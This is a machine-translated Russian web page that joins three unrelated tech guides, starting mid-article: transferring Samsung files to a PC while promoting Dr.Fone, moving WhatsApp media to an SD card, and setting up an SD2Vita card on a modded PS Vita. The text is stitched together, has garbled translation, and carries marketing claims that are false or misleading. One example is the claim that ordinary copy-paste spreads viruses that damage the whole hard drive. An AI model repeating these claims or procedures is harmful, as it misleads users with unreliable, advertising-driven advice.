  1. Во-первых, вам необходимо запустить Dr.Fone на вашем ПК и подключить устройство Samsung к компьютеру с помощью USB-кабеля хорошего качества. Ваше устройство Samsung будет распознано Dr.Fone и отобразится перед вами.

  2. Этот процесс полностью аналогичен для фотографий, видео или музыки. Если вы хотите перенести фотографии, перейдите в окно управления «Фото» и выберите нужные фотографии.Затем перейдите к кнопке «Экспорт» и нажмите «Экспорт на ПК».

  3. Теперь вы увидите всплывающее окно окна просмотра файлов. Вам нужно выбрать папку, в которой вы хотите сохранить файлы на вашем ПК. При желании вы можете полностью перенести фотоальбом на свой ПК.

  4. Вы также можете передать свои файлы на другое устройство Android или iOS. Просто подключите целевое устройство к компьютеру, и когда вы выбираете путь экспорта, вам нужно выбрать это устройство Android или iOS.Это гарантирует, что ваши файлы будут перенесены на целевое устройство Android или iOS.

Скачать бесплатно Скачать бесплатно

Часть 2: Как перенести фотографии, видео, музыку с Samsung на ПК с помощью копирования и вставки?

Это один из самых простых способов передачи данных Samsung на ПК. Это старомодный способ, но он все еще работает с устройствами Samsung. Вам не придется много делать в этом методе. Просто подключите устройство Samsung к компьютеру и перенесите файлы — это так просто! Но этот метод работает только с медиафайлами.Вот как вы можете передавать файлы с Samsung на ПК.

  1. Во-первых, вам нужно разрешить отладку по USB на вашем устройстве Samsung. Для этого просто перейдите в «Настройки», а затем в «Параметры разработчика».
  2. Теперь включите опцию отладки USB, отметив ее. Это гарантирует, что вы сможете подключить свое устройство к USB-накопителю.
  3. Теперь вы получите всплывающее уведомление на вашем устройстве Samsung. Вы должны разрешить это, нажав на кнопку «ОК».

  4. Если вы используете более старые версии Android, вы найдете эту же функцию под названием «Разработка» в «Приложениях».
  5. В некоторых версиях Android вам нужно будет перейти к параметру «Беспроводная связь и сети» и выбрать «USB-утилиты», чтобы использовать устройство Samsung в качестве USB-накопителя.
  6. Наконец, вам необходимо подключить устройство к компьютеру с помощью USB-кабеля хорошего качества. Вы получите всплывающее окно, в котором будет отображаться ваше устройство и информация о его хранилище.Теперь просто войдите в любую папку на своем устройстве Samsung и скопируйте любой файл или любую папку. После этого перейдите в нужную папку на вашем ПК и вставьте все выбранные вами файлы или папки на свой компьютер. Теперь все ваши файлы скопированы на ваш компьютер.

Хотя это очень простой процесс, в нем есть большая проблема. Если на вашем устройстве Samsung есть поврежденный файл или вирус, он также будет скопирован на ваш компьютер. В конечном итоге это приведет к повреждению всего жесткого диска вашего ПК.Поэтому, чтобы этого избежать, вам нужно выбрать профессиональное программное обеспечение сторонних производителей для выполнения этой задачи. Если вы хотите получить мое предложение, я воспользуюсь Dr.Fone — Phone Manager (Android), чтобы вам не пришлось беспокоиться о копировании вирусов или поврежденных файлов на ваш компьютер. Доверьтесь мне! Вы не хотите проблем при переносе важных файлов на компьютер.

Часть 3: Как передавать файлы с Samsung на ПК через AirDroid?

AirDroid — замечательное приложение, которое позволит вам управлять своим устройством Samsung с компьютера.Это не только поможет вам передавать фотографии, музыку и видео между телефоном и компьютером, но также поможет вам отправлять и получать текстовые сообщения на вашем компьютере. Он может найти и заблокировать ваше устройство, если вы его потеряли или украли. Этот метод о том, как передавать данные с Samsung на ПК с помощью AirDroid. Вот как это сделать —

  1. Сначала вам необходимо загрузить и установить AirDroid на свое устройство Samsung. Теперь запустите приложение, чтобы получить веб-адрес AirDroid и QR-код на вашем устройстве Samsung.

  2. Теперь перейдите к своему ПК, чтобы начать часть этого процесса, 2 и . Откройте браузер и перейдите на http://web.airdroid.com/, чтобы получить доступ к AirDroid с вашего ПК.

  3. Вы найдете QR-код на домашней странице AirDroid на своем ПК. Теперь нажмите кнопку «Сканировать QR-код» в приложении AirDroid, которое уже запущено на вашем устройстве Samsung, и отсканируйте код своим устройством. Теперь ваш компьютер и устройство Samsung будут подключены друг к другу, и модель вашего смартфона появится в правом верхнем углу экрана вашего ПК.
  4. Теперь щелкните любой значок типа мультимедиа, который вы хотите передать. Например, если вы хотите перенести фотографии с устройства Samsung на свой компьютер, щелкните значок «Фотографии». Появится всплывающее окно со всеми фотографиями с вашего устройства Samsung. Теперь выберите файлы, которые вы хотите передать, и нажмите кнопку «Загрузить».

  5. В кратчайшие сроки все ваши файлы будут перенесены на ваш компьютер. На самом деле это похоже на загрузку файлов с вашего устройства Samsung, например с FTP-сервера.Здесь ваше устройство Samsung работает как сервер, и ваш компьютер получает файлы без каких-либо проблем. Но все же, если он выполняет свою работу, вы можете использовать Airdroid, не задумываясь!

Существуют различные способы передачи файлов с Samsung на ПК. Но эта статья расскажет вам о 3 лучших способах быстрой передачи файлов с Samsung на ПК. Отсюда вы можете легко научиться передаче файлов Samsung на ПК из-за пошагового руководства. Но если вы спросите меня, какой из этих трех методов лучший, я обязательно предложу вам использовать Dr.Fone — Диспетчер телефона (Android). Это лучший инструмент для передачи данных с Samsung на ПК по разным причинам. Он не только имеет лучший дизайн и функциональные возможности для ваших целей, но также может безопасно перемещать все ваши файлы на компьютер без потери данных. С помощью этого программного обеспечения вы легко научитесь передавать данные с Samsung на ПК, не беспокоясь. Так что перестаньте тратить время на поиски других простых способов или приложений для этого процесса и начните использовать Dr.Fone для получения идеального и безупречного результата.

Наконечники Samsung

Инструменты Samsung
Проблемы с инструментами Samsung
Перенос Samsung на Mac

Обзор модели Samsung

Передача от Samsung другим
Samsung Kies для ПК

Решения

для прямого переноса WhatsApp на SD-карту

Могу ли я переместить носитель WhatsAPp на SD-карту?

Мой телефон израсходовал всю свою внутреннюю память, и я хочу переместить все свои носители WhatsApp на SD-карту.Однако я бьюсь над соответствующими шагами. Может ли кто-нибудь помочь мне исправить эту проблему?

— От пользователя.

WhatsApp сегодня стал не чем иным, как явлением. Благодаря ее масштабу и популярности во всем мире люди разных национальностей используют эту платформу социальных сетей по множеству причин. Некоторые используют его, чтобы оставаться на связи со своими друзьями и семьей, в то время как другие общаются по вопросам, связанным с работой. Независимо от мотива использования этой платформы социальных сетей, нельзя утверждать, что WhatsApp является одним из наиболее часто используемых и надежных приложений в нашей повседневной жизни.

Однако это не означает, что WhatsApp не имеет изрядной доли технических проблем и сбоев. Пользователи WhatsApp во всем мире борются с множеством проблем, таких как ограниченное внутреннее хранилище для хранения бесчисленных забавных фотографий и видео. Каждый день пользователи WhatsApp получают новые изображения и видео на платформе, но им негде хранить все эти мультимедийные файлы, кроме как во внутренней памяти своих телефонов. WhatsApp объясняет это неудобство «техническим препятствием.«Тем не менее, это не оставляет нам другого выбора, кроме как удалить несколько или более медиафайлов на нашем телефоне, когда у нас заканчивается память. По крайней мере, так считается!

В этой статье мы поделимся с вами парой простых методов, с помощью которых вы можете переместить WhatsApp на SD-карту, чтобы освободить столь необходимую внутреннюю память на вашем телефоне.

Часть 1: Как перенести WhatsApp на SD-карту на компьютере?

Резервное копирование WhatsApp на SD-карту выполняется без усилий с помощью компьютера.Все, что вам нужно для выполнения этой задачи, — это USB-кабель и телефон, чтобы вы могли легко подключить свое устройство к компьютеру. Если вам интересно, как перенести WhatsApp на SD-карту, просто следуйте инструкциям, приведенным ниже, чтобы выполнить эту работу:

Шаг 1: Подключите устройство Android к компьютеру с помощью кабеля USB. Убедитесь, что ваш компьютер обнаруживает ваше устройство.

Шаг 2: Найдите папку телефона Android на вашем компьютере и из папки внутренней памяти найдите папку WhatsApp.Как только вы найдете папку WhatsApp, скопируйте ее.

Шаг 3: Теперь просто вставьте папку WhatsApp в папку карты памяти SD. Это оно! Вы сделали!

Часть 2: Как переместить WhatsApp Media на SD через файловый менеджер?

Если вы хотите переместить носитель WhatsApp на SD-карту через диспетчер файлов, это тоже можно сделать. Здесь уместно отметить, что этот метод довольно прост и, выполнив несколько шагов, вы можете применить его на практике.Однако помните, что этот метод предназначен только для того, чтобы помочь пользователям Android лучше управлять всеми своими медиафайлами WhatsApp. Вы не можете установить этот метод по умолчанию для переноса всех медиафайлов во внешнюю память телефона. Чтобы переместить данные WhatsApp на SD-карту, выполните следующие действия:

Шаг 1: Откройте приложение диспетчера файлов на своем телефоне. В телефоне Android обычно есть встроенное приложение File Manager. Однако, если у вас его нет, вы можете легко найти несколько удобных приложений для управления файлами в Google Play.

Шаг 2: Когда вы запустите приложение, найдите файлы внутренней памяти. Там вы найдете папку WhatsApp.

Шаг 3: Откройте папку WhatsApp, и вы увидите папку мультимедиа. Вырежьте это!

Шаг 4: Теперь создайте новую папку внутри папки SD-карты с именем WhatsApp. После этого откройте эту новую папку, которую вы создали, и вставьте в нее все медиафайлы.

Часть 3: Как изменить хранилище WhatsApp по умолчанию на SD-карту?

Также можно сделать вашу внешнюю SD-карту хранилищем по умолчанию для всех ваших медиафайлов WhatsApp.Для этого вы можете использовать различные сторонние инструменты, такие как FolderMount и XInternalSD, чтобы выполнить задачу. Используя эти приложения, вы можете легко получить root-права на своем Android-устройстве и по умолчанию хранить все свои медиафайлы на SD-карте. Следуйте инструкциям ниже, чтобы установить значение по умолчанию с помощью приложения XInternalSD:

Шаг 1: Откройте пользовательский интерфейс приложения XInternalSD. Теперь измените путь к внутренней SD-карте, изменив его на внешний.

Шаг 2: Нажмите на опцию «Включить для приложений» и выберите WhatsApp.

Шаг 3: Теперь скопируйте эту папку WhatsApp из внутреннего хранилища и вставьте ее на внешнюю SD-карту.

Шаг 4: Удалите папку WhatsApp, которую вы видите во внутреннем хранилище.

Шаг 5: Теперь просто перезапустите устройство, и вы увидите, что файлы мультимедиа WhatsApp начнут сохраняться на внешней SD-карте.

Примечание: Вы можете выполнить ту же задачу с помощью других сторонних инструментов, таких как FolderMount и Link2SD.

Часть 4: Рекомендуемый инструмент для переноса WhatsApp на SD

Резервное копирование WhatsApp — важный шаг к созданию учетной записи в WhatsApp для обеспечения безопасности данных. Очень сложно предсказать, когда вы можете потерять все необходимые данные из-за случайного удаления, ограбления или переключения телефонов. Поэтому, прежде чем вы поймете, как переместить WhatsApp на SD-карту, важно знать правильные шаги для резервного копирования мультимедиа WhatsApp в первую очередь. Чтобы создать резервную копию файлов WhatsApp, выполните следующие действия:

докторfone — WhatsApp Transfer

Резервное копирование и передача сообщений WhatsApp без потери данных

  • Переносите сообщения, изображения, видео и многое другое из WhatsApp с iPhone на iPhone / Android
  • Выборочная передача данных WhatsApp для экономии времени и места на диске
  • Убедитесь, что ваши данные в WhatsApp всегда в безопасности
  • Резервное копирование данных WhatsApp без удаления существующих резервных копий

4295666 человек скачали его

Шаг 1: Загрузите, установите и запустите программу dr.fone и выберите на панели инструментов параметр «Восстановить социальное приложение». Теперь подключите свой iPhone / iPad к компьютеру.

Шаг 2: На следующем экране нажмите «WhatsApp» и выберите «Резервное копирование сообщений WhatsApp». Когда вы это сделаете, программное обеспечение dr.fone инициирует процесс резервного копирования WhatsApp.

Шаг 3: Теперь вы увидите, что сообщения WhatsApp копируются на ваше устройство.

Шаг 4: По завершении процесса резервного копирования вы увидите всплывающее окно с сообщением «Резервное копирование выполнено успешно». Вы также сможете проверить, какие данные были сохранены на вашем устройстве, нажав кнопку с надписью «Просмотреть». Вы также можете выборочно экспортировать свои данные на свой компьютер или любое другое устройство Android / iOS.

Теперь, чтобы хранить носители WhatsApp на SD-карте, вы снова можете использовать приложение dr.fone и следуйте инструкциям ниже:

Шаг 1: Откройте dr.fone и нажмите «Восстановить социальное приложение». На следующем экране нажмите «Восстановить сообщения WhatsApp на устройство iOS» или «Восстановить WhatsApp на устройство Android», чтобы начать процесс сканирования файлов WhatsApp.

Шаг 2: После завершения сканирования резервных копий все резервные копии WhatsApp будут отражены на экране.Выбирайте, а также просматривайте их по одному или вместе, чтобы выборочно восстанавливать данные WhatsApp на iPhone / iPad.

Шаг 3: Теперь вы увидите различные категории файлов резервных копий WhatsApp на программном обеспечении dr.fone. Благодаря этим категориям вы сможете выборочно экспортировать свои файлы на устройство iOS. Чтобы начать восстановление всех ваших сообщений WhatsApp и других данных на ваш iPhone / iPad или любое другое устройство iOS, нажмите «Восстановить на устройство», как показано на скриншоте ниже.

Зачем использовать программное обеспечение dr.fone

Программа dr.fone — очень удобная программа, которая может помочь пользователям с различными техническими проблемами. Вы можете использовать его не только для передачи данных со своего устройства, но и для резервного копирования данных из WhatsApp. Это один из самых надежных инструментов, доступных на рынке, поэтому вам не нужно беспокоиться о безопасности и конфиденциальности при использовании этого программного обеспечения. Более того, это отличный инструмент для регулярного использования, потому что он не очень часто дает сбои.Вам просто нужно постоянно обновлять его до последней версии, чтобы получить от него наилучшие результаты. Программное обеспечение dr.fone определенно выделяется среди других программ, поскольку оно имеет очень удобный пользовательский интерфейс, понятный каждому. Как только вы начнете использовать это программное обеспечение, вы поймете, насколько легко с ним работать, чтобы обеспечить безопасность ваших файлов и данных.

Вывод

Как видите, перенос медиафайлов WhatsApp на SD-карту не составляет большого труда, если вы в первую очередь создаете резервные копии файлов WhatsApp.Крайне важно, чтобы ваши файлы WhatsApp всегда были в резервном копировании и были защищены, особенно если у вас хранится много ценных данных. В современном технологическом мире наша жизнь стала значительно проще благодаря множеству платформ социальных сетей и других сетевых каналов. Однако сбои и технические проблемы естественны и для таких платформ, потому что, в конце концов, они не более чем машины и программное обеспечение, которые могут делать ошибки или иногда зависать.Поэтому положиться на такие платформы — это хорошо, но слепо доверять им тоже нельзя. Вот почему рекомендуется всегда иметь безопасное резервное копирование, чтобы гарантировать, что в случае чего-то нежелательного вы можете рассчитывать на запасной вариант.

Использование карты micro SD емкостью 256 ГБ с SD2Vita на ux0: — Материал, который Джейсон делает

В этом руководстве предполагается, что у вас уже есть PS Vita или PS TV, на которых можно запускать домашнее программное обеспечение, и что у вас уже установлены VitaShell и h-encore, и вы знаете, как их использовать.Также предполагается, что вы знаете, как передавать файлы VPK в систему и устанавливать их. Если вы используете PS TV, предполагается, что вы знаете, как передавать файлы по FTP на PS TV и обратно с помощью функции FTP VitaShell. Если вы вообще не понимаете, о чем я говорю, вы можете следовать Части 1 и Части 2 моего предыдущего набора руководств для PS Vita или моего единственного руководства для PS TV.

Я буду ссылаться на метод PS Vita в этом руководстве, но он также будет работать для PS TV. Обратите внимание, что в разделах, где я упоминаю прямое подключение Vita к компьютеру через USB, вы будете следовать тем же инструкциям, но вместо этого просто подключитесь к PS TV через FTP.Если вы делаете это на PS TV, который вы модифицировали самостоятельно, вам должно быть комфортно делать это сейчас.

Прежде чем начать

Для начала вам понадобится несколько вещей.

  • Убедитесь, что у вас установлена ​​последняя копия VitaShell. Старые версии могут вызвать проблемы с этим процессом.
  • Вам понадобится карта micro SD, размер которой эквивалентен вашей карте памяти PS Vita или больше. Поскольку большие карты Vita встречаются нечасто, это не должно быть проблемой.
  • Вам понадобится адаптер SD2Vita, который адаптирует карту microSD к гнезду для игровой карты на Vita.Подробнее об этом ниже.
  • Вам понадобится Vita, которая уже была взломана и может запускать домашний код. Вы можете сделать это, следуя Частям 1 и 2 этого руководства. Убедитесь, что все работает , прежде чем следовать этому руководству.
  • Вам необходимо убедиться, что все ваши плагины .skprx расположены в папке ur0: tai , а не в папке ux0: tai , и что ur0: tai \ config.txt не иметь какие-либо ссылки на плагины на ux0: .Если вы следовали моему руководству по изменению программного обеспечения вашего Vita, это не должно быть проблемой. Если у вас есть плагины, установленные на ux0: tai , вам придется переместить их и соответствующим образом обновить файл ur0: tai \ config.txt .

SD2Vita Адаптеры и карты microSD

Последней версией адаптеров SD2Vita на момент написания этой статьи является версия 5.0. Вопреки тому, что я прочитал в Интернете всего несколько месяцев назад, SD2Vita действительно работает с последней версией (3.68) прошивки Vita.Когда вы покупаете адаптер SD2Vita, просто убедитесь, что вы получаете карту версии 5.0. Многие из них продаются на eBay по цене менее 6 долларов. Помимо адаптера SD2Vita вам также понадобится карта microSD. Я бы порекомендовал приобрести карту micro SD со скоростью U1 или U3. Адаптер microSD несовместим с UHS-III, поэтому получение карты micro SD с рейтингом V не даст вам никакого увеличения скорости, просто она будет намного дороже.

Установите инструмент расширения для TF-карты

Запустите VitaShell на Vita, убедитесь, что он находится в режиме USB, и нажмите Выберите , чтобы включить USB-соединение.Мы собираемся загрузить и установить утилиту, которая позволит нам монтировать карту SD2Vita как ux0: или uma0: и даже переключаться между ними.

Загрузите последнюю версию TF.Card.Plugin.Tool.ENG.vpk с этого сайта: https://github.com/theheroGAC/TF-Card-Plugin-Tool/releases.

Используя VitaShell, установите VPK на свой Vita. Мы воспользуемся этим приложением позже.

Подготовка и форматирование SD-карты

Вставьте карту micro SD, которую вы будете использовать с адаптером SD2Vita, в слот для карты SD вашего ПК через адаптер или через USB-устройство чтения карт micro SD.Загрузите Win32DiskImager и установите его. Вам также понадобится 1024-байтовый файл с расширением .img, содержащий 1024 нулевых символа. Я загрузил сюда файл, который вы можете использовать.

Используйте Win32DiskImager для записи файла blank.img на SD-карту. Чтобы не перезаписать любые другие внешние диски, подключенные к ПК, вы должны удалить их перед запуском Win32DiskImager и убедиться, что единственная карта (или внешнее USB-устройство), которую вы вставили, — это та, на которую вы хотите писать, просто чтобы быть в безопасности.Выберите диск с буквой , к которому подключена ваша карта micro SD, в интерфейсе, найдите путь к файлу blank.img , выберите его и нажмите кнопку Write .

Это должно записать содержимое blank.img (нули) в первые 1024 байта карты micro SD. Мы собираемся отформатировать оставшееся дисковое пространство в файловой системе extfat с помощью утилиты форматирования дисков Windows.

Извлеките карту micro SD из компьютера и снова вставьте ее.Поскольку мы установили шайбу на 1024-байтовый раздел в начале диска, мы сломали исходный раздел, и Windows должна сообщить вам, что ваша карта micro SD должна быть отформатирована перед ее использованием. Хорошо. Выберите Форматировать диск и установите Тип файловой системы на extFAT и убедитесь, что для размера единицы размещения установлено значение Размер выделения по умолчанию . Убедитесь, что выбрано Quick Format , что метка тома пуста, и нажмите Start .

Форматирование должно быть очень быстрым. Теперь карта micro SD должна быть подготовлена ​​для использования в Vita, поэтому теперь нам нужно скопировать все содержимое существующей карты памяти Vita на карту micro SD.

Резервное копирование карты памяти Vita на ПК

На этом этапе вам нужно изменить настройки в проводнике Windows. Чтобы увидеть все файлы на карте памяти Vita, когда мы монтируем ее в Windows через VitaShell, нам нужно включить возможность видеть скрытые и системные файлы.Для этого нажмите Windows Key + E , чтобы открыть Explorer . Щелкните вкладку View и щелкните стрелку под Options . Выберите Изменить папку и параметры поиска из раскрывающегося меню. В появившемся диалоговом окне щелкните вкладку Просмотр , прокрутите вниз и установите переключатель рядом с Показать скрытые файлы, папки и диски и снимите флажок рядом с Скрыть защищенные файлы операционной системы (рекомендуется) . Щелкните Ok .Если вы не сделаете этот шаг, вы не сможете скопировать все файлы с карты памяти Vita на карту micro SD, и установка SD2Vita завершится ошибкой.

Запустите VitaShell на Vita, убедитесь, что он находится в режиме USB, и нажмите Выберите , чтобы включить USB-соединение. Подключите его к ПК и откройте в проводнике. Теперь вы увидите кучу файлов / папок, которые мы не могли видеть раньше, поскольку большинство из них скрыты или помечены как системные файлы. Создайте где-нибудь на вашем компьютере каталог, который будет служить резервной копией, и скопируйте все эти файлы и каталоги в эту резервную папку.В зависимости от того, что вы установили, это может занять много времени.

По завершении резервного копирования отключите Vita от ПК.

Установка карты micro SD с адаптером S2Vita

Прежде чем мы продолжим, вам нужно взять отформатированную вами карту micro SD и вставить ее в адаптер SD2Vita. Вставьте адаптер в слот для игровой карты Vita и запустите инструмент TF Card Plug-In Tool , который мы установили ранее.

Выберите первую опцию SD2VITA = uma0 / MemoryCard = ux0 и нажмите Circle .Нажмите Circle еще раз, чтобы подтвердить установку, и нажмите Circle в третий раз, чтобы перезагрузить Vita.

Это означает, что вы автоматически устанавливаете подключаемый модуль .skprx под названием StorageManager в ur0: и правильно настраивает его для автоматического подключения карты sd2vita при загрузке системы. Он также записывает файл конфигурации, который сообщает StorageManager, где должна быть установлена ​​карта памяти VIta и где должна быть установлена ​​карта SD2Vita. Вы можете сделать это вручную, но это небольшое приложение значительно упрощает нашу жизнь.

При перезагрузке системы не забудьте запустить h-encore и установить HENKAKU , а затем запустить VitaShell .

Из VitaShell перейдите в корневой каталог устройства (опция «»), чтобы увидеть все смонтированные тома. Вы должны увидеть uma0: с правильным размером вашей карты micro SD. Успех!

Копирование резервной копии карты памяти Vita на карту micro SD

Убедитесь, что ваш Vita подключен к ПК через USB.Нажмите Старт , чтобы открыть меню VitaShell. Стрелка вниз с на USB-устройство и стрелка вправо , пока не будет указано sd2vita . Нажмите Circle , чтобы вернуться из меню, а затем нажмите Выберите . Ваш Vita снова будет смонтирован как диск на вашем ПК, но на этот раз вы должны увидеть содержимое карты micro SD, которая должна быть пустой.

На этом этапе вам нужно взять все содержимое резервной копии карты памяти Vita, которую мы сделали выше, и скопировать все это на карту micro SD.Как только все будет скопировано, вы захотите удалить папку tai с карты micro SD.

Кстати, я бы посоветовал сохранить копию вашей карты памяти Vita в резервной копии на вашем ПК на случай, если что-то пойдет не так с адаптером SD2Vita, и вам нужно будет восстановить систему на новую SD-карту или карту памяти Vita. Чтобы сэкономить много места, вы можете удалить все каталоги PCSG * (кроме PCSG

) из папки \ app . Это удалит все ваши фактические резервные копии игр и значительно уменьшит размер резервной копии.

Замена SD2Vita на ux0: Mount Point

Закройте VitaShell и запустите TF Card Plug-In Tool , который мы установили ранее. На этот раз мы выберем вариант SD2VITA = ux0 / MemoryCard = uma0 . Перезагрузите Vita, когда его спросят, и убедитесь, что все работает нормально. В VitaShell вы увидите, что ux0: теперь соответствует размеру вашей карты памяти micro SD, а ваша карта памяти Vita должна быть установлена ​​как uma0 :.

Обратите внимание, что если у вас «толстая» версия Vita (с OLED-экраном), вам нужно будет держать и карту памяти, и SD2Vita вставленными, чтобы система работала правильно.Это связано с тем, что для правильной работы HENkaku требуется карта памяти, поскольку она инициализируется перед загрузкой драйвера SD2Vita для установки карты SD2Vita. Если вы извлечете карту памяти Vita, вы загрузитесь на главный экран Vita без пузырьков, кроме установленных на заводе приложений. Вы не сможете запустить h-encore или VitaShell (или любое другое программное обеспечение), потому что пузырей для них не будет.

Однако, зная, что вы можете запустить VitaShell (или подключиться через USB к ПК с Windows) и удалить все большие файлы игр из uma0: app .Это позволит освободить почти все место на вашей карте Vita для других целей. Я бы не рекомендовал полностью протирать карту Vita или удалять какие-либо другие файлы, кроме игр, которые вы установили в каталоге app , поскольку если вы сделаете это, не будет возможности восстановить Vita, если что-то случится с вашей картой micro SD.

Игры, установленные PKGj, всегда будут устанавливаться на ux0: (теперь это ваша карта micro SD), и, как правило, все ваши игры Vita будут запускаться оттуда нормально.У вас действительно есть возможность создавать новые каталоги на uma0: для хранения других файлов и игр, не относящихся к Vita, и тому подобного.

Заключение

Вот и все! Адаптер SD2Vita — это довольно приятное оборудование, стоимость поставки которого составляет менее 10 долларов, и он позволит вам максимально эффективно использовать Vita, не тратя кучу денег на проприетарные карты памяти Sony Vita. Я импортировал карту памяти Vita на 64 ГБ из Японии много лет назад примерно за 100 долларов, и быстрый поиск показал, что они все еще получают эту цену сегодня.Смешной. Использование карты micro SD намного дешевле и удобнее, если вам когда-нибудь понадобится ее заменить, поскольку они есть повсюду.

Если вам понравилось это руководство и вы хотите увидеть больше, поделитесь этой статьей в социальных сетях, оставьте комментарий ниже, сообщив мне, что еще вы хотели бы увидеть, и подпишитесь на меня в Twitter @JROlmstead.

Связанные

.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *